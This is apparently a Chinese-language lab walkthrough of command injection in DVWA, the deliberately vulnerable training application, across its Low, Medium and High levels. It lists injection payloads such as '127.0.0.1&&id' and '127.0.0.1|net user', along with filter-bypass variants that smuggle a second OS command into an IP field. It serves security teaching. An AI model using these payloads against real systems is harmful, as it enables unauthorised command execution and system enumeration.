DVWA------命令注入

简介

  • 命令注入是通过在应用程序中注入和执行宿主操作系统的命令,来达到破坏目的的一种攻击方式,由应用程序传递操作系统命令会赋有和应用一样的权限。
  • 命令注入攻击漏洞是PHP应用程序中常见的漏洞之一。
  • 命令注入和代码注入不同,代码注入的目的在于将外部代码注入应用程序本身,并随程序执行;命令攻击的对象是服务器的宿主机。

工具

  • firefox浏览器

测试方法

Low等级

  • 将DVWA安全等级调为Low等级
  • Low等级对输入并没有进行任何的过滤。
  • 在输入框正常输入IP地址,返回结果如图
    DVWA------命令注入
  • 由于在windows cmd和linux shell条件下,都可以通过&&来串行执行命令。
  • 我们附上dir命令,输入127.0.0.1&&dir执行后:
    DVWA------命令注入
  • 命令执行后,不但执行了前面的ping IP地址,还执行了后面dir命令,回显出了结果。
  • 输入127.0.0.1&&id命令:
    DVWA------命令注入
  • 链接: &&、&、|、||命令拼接符号含义.
  • 自己可以试试这些命令分析回显,这里就不多介绍了:
    127.0.0.1&&id
    127.0.0.1&&net user
    testcmdinjection||id
    testcmdinjection||net user
    127.0.0.1&id
    127.0.0.1|net user
    testcmdinjection&id
    testcmdinjection|net user

Medium等级

  • 将DVWA安全等级调为 Medium等级
  • Medium等级针对输入数据删除&&和;
  • 根据Low等级的方法直接输入命令分析回显即可:
    127.0.0.1&;&id
    127.0.0.1&;&net user
    testcmdinjection||id
    testcmdinjection||net user
    127.0.0.1&id
    127.0.0.1|net user
    testcmdinjection&id
    testcmdinjection|net user

High等级

  • 将DVWA安全等级调为 High等级
  • High等级针对输入数据删除&、;、-、$、(、)、`、||、|空格等字符(|空格有过滤,但对|并不进行处理)
  • 根据Low等级的方法直接输入命令分析回显即可:
    127.0.0.1|id
    testcmdinjection|net user